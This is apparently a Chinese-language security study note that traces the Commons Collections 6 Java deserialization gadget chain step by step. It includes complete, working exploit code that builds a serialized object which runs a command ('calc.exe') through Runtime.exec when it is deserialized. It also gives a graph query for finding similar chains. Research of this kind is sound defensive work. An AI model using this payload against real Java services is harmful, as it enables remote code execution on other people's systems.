前言:在自己重新理解了下readObject和defaultReadObject的流程之后写的,这篇作为Commons Collections 6 调用链分析的笔记
介绍
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
1、HashSet开头的反序列化,那么这里从HashSet中来看它自定义的readObject方法,这边需要关注到E e = (E) s.readObject();
这个反序列化点,因为也只有这个点会涉及到反序列化,然后接着看这个点反序列化肯定有涉及到
相关对象的反序列化,那么这里的话通过调用链可以看到是HashMap
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " + capacity);
}
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " + loadFactor);
}
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " + size);
}
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY);
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
2、这里的HashMap那肯定是来源自本身,我们先来看下HashSet这个成员属性,一共三个,但是这里的HashMap是transient,但是在writeObject中其实进行了自定义序列化,所以这个HashMap可以在反序列化的时候被读取
static final long serialVersionUID = -5024744406713321676L;
private transient HashMap<E,Object> map;
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
可以看到自定义序列化HashMap对象
3、那么当执行到了E e = (E) s.readObject();
,这段代码中又先反序列化TiedMapEntry对象,TiedMapEntry的对象如下内容
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;
那么反序列化的数据就有两个,一个是map
,一个是key
但是这个map和key已经被我们构造好的payload进行了填充,如下内容,那么此时的map就是lazyMap对象,和一个key为test1的字符串
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
4、又因为lazyMap是一个反序列化对象,那么这个对象又会进行反序列化,来看下LazyMap类的内容,如下所示:
/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;
/** The factory to use to construct elements */
protected final Transformer factory;
这里的factory其实也被我们构造的payload所填充,如下内容:
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
// 中间省略....
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
5、到目前调用过程已经捋好了,那么在反序列化的过程中,什么时候才触发呢?继续看下HashSet类的readObject的内容,可以看到后面又通过map(HashMap对象)来进行put操作
在这里的时候我先讲述下,因为这个HashSet的序列化和反序列化函数都是重写的,所以运作的流程其实都是开发所定义的了,此时反序列化过程还有最后一点没做,也就是填充当前的HashSet的对象,所以这里才开始进行put操作
这里的map.put(e, PRESENT);
操作,就是将读取出来的TiedMapEntry对象填充到HashSet的HashMap的对象中去,此时读取出来的TiedMapEntry对象为TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");
那么put方法此时的key也就是lazyMap对象,和"test1" 字符串
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
接着触发hash方法,参数为TiedMapEntry对象
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
接着调用TiedMapEntry对象的hashCode方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
这里的final Object value = getValue();
,这里的getValue方法调用的是lazyMap对象中的get方法,此时的key为"test1",lazyMap对象为Map lazyMap = LazyMap.decorate(map,Testtransformer);
public V getValue() {
return map.get(key);
}
这里也就是为什么构造payload的时候需要lazyMap.remove("test1");
,要不然判断无法为true,那么就无法执行transform了
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) { // 这里进行了判断
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
二代cc6
关于cc6,还有一种更加简介的构造方式
package com.zpchcbd.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ⽣成序列化字符串
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
// objectOutputStream.writeObject(expMap);
// objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc6.txt"));
HashMap a = (HashMap) objectInputStream.readObject();
}
}
tabby反序列化链挖掘
HashSet_TiedMapEntry_LazyMap_Transformer
同样的,后面的利用全部都交给TiedMapEntry和LazyMap和Transformer来进行,所以我们这边只需要去找到readObject到触发LazyMap的get方法即可
souce:java.util.HashSet#readObject
chain:
sink:java.util.Map#get
match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.HashSet"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 1000